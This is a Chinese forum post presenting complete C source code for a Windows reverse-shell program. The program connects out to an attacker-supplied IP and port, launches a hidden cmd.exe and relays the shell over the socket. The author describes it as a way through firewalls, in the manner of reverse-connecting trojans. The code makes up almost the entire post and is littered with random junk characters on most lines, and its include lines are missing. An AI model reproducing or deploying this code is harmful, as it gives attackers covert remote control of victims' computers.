社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5708阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^GYVRD  
ze9n}oN  
/* ============================== `K@N\VM  
Rebound port in Windows NT ,>qtnwvlHP  
By wind,2006/7 z^*g 2J,  
===============================*/ Iw?f1 ]  
#include L$"x*2[A  
#include wPYeKOh'  
Z$c&Y>@)  
#pragma comment(lib,"wsock32.lib") +>eX1WoTy  
nfZe"|d  
void OutputShell(); ^vVAuO  
SOCKET sClient; sqF.,A,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8z|]{XW{  
"WmsBdO  
void main(int argc,char **argv) Wn=I[K&&  
{ j~+(#|  
WSADATA stWsaData; X VH( zJ  
int nRet; cfc=a  
SOCKADDR_IN stSaiClient,stSaiServer; ]-w.x ]I  
W;F=7[h  
if(argc != 3) q9nQ/]rkHF  
{ ERfSJ  
printf("Useage:\n\rRebound DestIP DestPort\n"); G~f|Sx  
return; 'pT8S  
} K/!>[d  
C]krJse@  
WSAStartup(MAKEWORD(2,2),&stWsaData); z'Ut9u  
fTi5Ej*/?)  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZP<OyX?  
)kE1g&  
stSaiClient.sin_family = AF_INET; ~[0^{$rrWs  
stSaiClient.sin_port = htons(0); !*,m=*[3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2bOFH6g  
lt{"N'Gw6  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wHs4~"EY9  
{ + ;B K|([#  
printf("Bind Socket Failed!\n"); z+j3j2  
return; 4`:Eiik&p  
} n7bML?f'  
Ol X otp8  
stSaiServer.sin_family = AF_INET; 3Zm;:v4y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  o^x,JT  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KY9@2JG  
5&}p'6*K  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gzp]hh@4  
{ 1sXVuto  
printf("Connect Error!"); S\6.vw!'  
return; bO }9/Ay  
} LC0g"{M  
OutputShell(); 0G8zFe*p  
} >2#F5c67  
I=7 YAm[W  
void OutputShell() kp,$ NfD  
{ ^dKtUH/78G  
char szBuff[1024]; 3moDu  
SECURITY_ATTRIBUTES stSecurityAttributes; `q7X(x  
OSVERSIONINFO stOsversionInfo; H) q_9<;  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :a)`iJnb  
STARTUPINFO stStartupInfo; k1HCPj  
char *szShell; :Gf  
PROCESS_INFORMATION stProcessInformation; D3C3_ @*  
unsigned long lBytesRead; gLWbd~  
l  !JTM  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~lr,}K,  
J QA]O/|N  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (A~w IKY,  
stSecurityAttributes.lpSecurityDescriptor = 0; luCwP  
stSecurityAttributes.bInheritHandle = TRUE; N$P\$  
tIo b  
`~2I  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e9rgJJ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u56WB9Z  
jL:GP}I=  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fmv,)UP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; __,F_9M  
stStartupInfo.wShowWindow = SW_HIDE; nYy+5u]FG  
stStartupInfo.hStdInput = hReadPipe; 4ms"mIt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; T< o8lL  
%ZGG6Xgw  
GetVersionEx(&stOsversionInfo); yG,uD!N]|  
*fQn!2}=(  
switch(stOsversionInfo.dwPlatformId) :rEZR`  
{ E[c6*I  
case 1: !u|s8tN.U  
szShell = "command.com"; ~SYW@o  
break; )Qh*@=$-  
default: YGOhUT |  
szShell = "cmd.exe"; 9~4@AGL  
break; kp^q}iS  
} Ceew~n{  
[rReBgV  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?{wD%58^oG  
v>0} v)<v  
send(sClient,szMsg,77,0); _a  zJ>  
while(1) deCi\n  
{ o~26<Lk  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5.QY{ +k  
if(lBytesRead) M[ ON2P;  
{ 06[HE7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [R<>3}50Y  
send(sClient,szBuff,lBytesRead,0); ;3+_aoY  
} S%jFH4#  
else Dw<bLSaW&  
{ :jFZz%   
lBytesRead=recv(sClient,szBuff,1024,0); $ J!PSF8PL  
if(lBytesRead<=0) break; FA{(gib@9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %+ytX]E  
} +-qa7  
} z&CBjlh  
^ LVKXr  
return; !1Nh`FN  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五